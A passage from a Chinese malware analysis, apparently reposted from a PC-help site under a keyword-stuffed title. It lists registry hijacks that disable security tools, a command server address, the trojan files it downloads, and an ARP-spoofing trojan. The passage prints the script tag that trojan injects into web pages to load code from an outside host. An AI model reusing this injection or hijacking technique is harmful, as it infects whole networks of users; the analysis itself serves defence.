000.exe都市传说病毒_kavsetup.exe_teniodl.exe是什么进程(9)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxCfg.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxFwHlp.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UmxPol.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UpLive.EXE.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WoptiClean.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zxsweep.exe

被劫持到C:\Program Files\Common Files\Microsoft Shared\MSInfo\下面的那个dat文件

下载dl1.exe到临时文件夹

启动IE连接219.152.120.37:80

首先下载看病毒是否需要更新

然后分别下载

到program files 文件夹 并把他们命名为ycnt1.exe~ycnt10.exe

具体每个文件的生成物就不一一列举了

不过值得一提的是ycnt9.exe这个木马

他生成C:\WINDOWS\system32\win1ogo.exe

并且该木马试图向局域网内所有用户的80端口每隔5000ms进行arp欺骗

插入<script language=javascript src=http://google.171738.org/ad2.js></script>代码

也就是局域网内所有用户在打开网页时都会入这段代码

所有木马文件植入完毕后 生成物如下

C:\WINDOWS\system32\drivers\npf.sys

C:\WINDOWS\system32\Kvsc3.dll

C:\WINDOWS\system32\msdebug.dll

C:\WINDOWS\system32\nwiztlbu.exe

C:\WINDOWS\system32\Packet.dll

C:\WINDOWS\system32\RemoteDbg.dll

C:\WINDOWS\system32\testdll.dll

C:\WINDOWS\system32\WanPacket.dll

C:\WINDOWS\system32\win1ogo.exe

C:\WINDOWS\system32\windds32.dll

C:\WINDOWS\system32\winpcap.exe

C:\WINDOWS\system32\wpcap.dll

C:\WINDOWS\system32\xpdhcp.dll

C:\WINDOWS\Kvsc3.exe

C:\WINDOWS\testexe.exe

C:\Program Files\Common Files\cssrs.exe

sreng日志反映如下（在处理一些东西后扫描的这里提前列出）

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-34849-9.html